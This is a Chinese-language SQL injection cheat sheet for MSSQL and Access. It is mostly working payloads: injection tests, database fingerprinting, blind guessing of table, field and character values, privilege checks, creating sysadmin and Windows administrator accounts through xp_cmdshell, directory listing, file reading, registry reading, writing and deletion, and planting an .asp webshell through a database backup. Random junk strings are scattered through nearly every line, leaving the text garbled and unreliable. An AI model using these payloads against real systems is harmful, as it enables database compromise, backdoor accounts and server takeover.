1.判断是否有注入;and 1=1 ;and 1=2 <II>io;
2.初步判断是否是mssql ;and user>0 1[e%E#h
@Fb
2c0?Y
3.注入参数是字符'and [查询条件] and ''=' U6YQ*%mZ_
b,#?LdQ%
4.搜索时没过滤参数的'and [查询条件] and '%25'=' N1l^%Yf J
byk9"QeY\
5.判断数据库系统 }l5Q0'
}#Kl6x
;and (select count(*) from sysobjects)>0 mssql XU`vs`/
VexQ ]
;and (select count(*) from msysobjects)>0 access #*"I?B/fd8
6MQyr2c
O7f"8|=HX
9*(uJA
6.猜数据库 ;and (select Count(*) from [数据库名])>0 TTSq }sb}
/Em6+DN>
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 yONX?cS
Gr~J-#a3~D
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 xv_Z$&9e>l
rpL]5e!
9.(1)猜字段的ascii值(access) D!V*H?;U
p<Vj<6.=?
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ]!WD">d:
%)y-BdSp.
(2)猜字段的ascii值(mssql) z[]8"C=
w(q\75
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 2-rfFqpe
cXt]55"
10.测试权限结构(mssql) 3Zm;:v4y
o^x,JT
KY9@2JG
.:Zb~
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- e @|uG %
Yi|Nd ;
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- PLK;y
+VO(6Jn
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- #mRT>]di`D
xepp."O
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- <1kK@m -E
x#'v}(v
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Y58et9gRO
<a&$D
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
{s?x
NU
*YP;HL
;and 1=(select IS_MEMBER('db_owner'));-- <p#+('N`
mz3Dt>
8LGNV&Edg
:Mq{ES%
11.添加mssql和系统的帐户 ~L9I@(/S
32K
;exec master.dbo.sp_addlogin username;-- \C"hL(4-
;exec master.dbo.sp_password null,username,password;-- ;Lk07+3G
KH9D},
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- w*gG1BV
+?GsIp@>jh
;exec master.dbo.xp_cmdshell 'net user username password WI-I+0sE
1W{t?1[s
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- t:tIzFNv
1oL3y;>iL
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Eu$hC]w
'~AR|8q?
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- A{ . A1
t+A9nvj)
=$\9t $A
9+I/bl4
12.(1)遍历目录 VH<-||X/4
\W"p<oo|H
;create table dirs(paths varchar(100), id int) >4nQ&b.u
r|Q/:UV?w
;insert dirs exec master.dbo.xp_dirtree 'c:\' |L(h+/>aWX
Qv1cf
;and (select top 1 paths from dirs)>0 Gw+pjSJL`
f^G-ba
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) M^.>UZKyl
f<3lxu
5a2+6N
P$&l1Mp
(2)遍历目录 O@`KGZEPY
]+T$D
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- F+<Z%KuCu
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 YGOhUT |
& DhdB0Hjf
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 {ukQBu#}<
'm.+ S8
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 !>EK
%OO
Sgn<=8,6c
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 96<0=
LU+}iA)
Pdk#"H-j
-{NP3zy
13.mssql中的存储过程 u0nIr9
>YR2h/S
xp_regenumvalues 注册表根键, 子键 cue aOtD
\W7pSV-U
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 E_Fm5zb?X
x pBQ(6Y
xp_regread 根键,子键,键值名 #q6#nfi"
6dhzx; A
;exec xp_regread I6PReVIb
+6:jm54
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 z[0tM&pv
:}-izd)/j
xp_regwrite 根键,子键, 值名, 值类型, 值 ~"r(PCa@
SZ~lCdWad
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 9hjzOJPuga
\w)ddc!ZS
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Op:$7hv
%$67*pY'JH
xp_regdeletevalue 根键,子键,值名 okTqq=xd`
HF*j=qt!
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 /ACau<U]t
AYfL}X<Ig
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 A[uB)wWsn
|nBZ :$D
Z:YgG.z"
K?>sP%m)
14.mssql的backup创建webshell s01=C3
RSCQ`.
use model M9?f`9
H\$uRA oo*
create table cmd(str image); u-*z#e_L0
S}qGf%
insert into cmd(str) values (''); MhIHfW]b
k}!'@
backup database model to disk='c:\l.asp'; v7,- Q*
wV\G$|Y
PW\me7iCz
25<qo{
15.mssql内置函数 (S2E'L L{
??lsv(v-
;and (select @@version)>0 获得Windows的版本号 *E+VcU
O+]'*~a
;and user_name()='dbo' 判断当前系统的连接用户是不是sa =,8nfJ+x
Y7;=\/SV
;and (select user_name())>0 爆当前系统的连接用户 L
nyow}
LIT`~D
;and (select db_name())>0 得到当前连接的数据库 )&l5I4CIf
JF=T_SH^U
t<"%m)J
~i!I6d~
16.简洁的webshell b*ja,I4
wCu!dxT|,
use model tJmy}.t1
'*^9'=
create table cmd(str image); k{U[ U1j
_7~q|
insert into cmd(str) values (''); <'\!
ZD4aT1|Q7
backup database model to disk='g:\wwwtest\l.asp';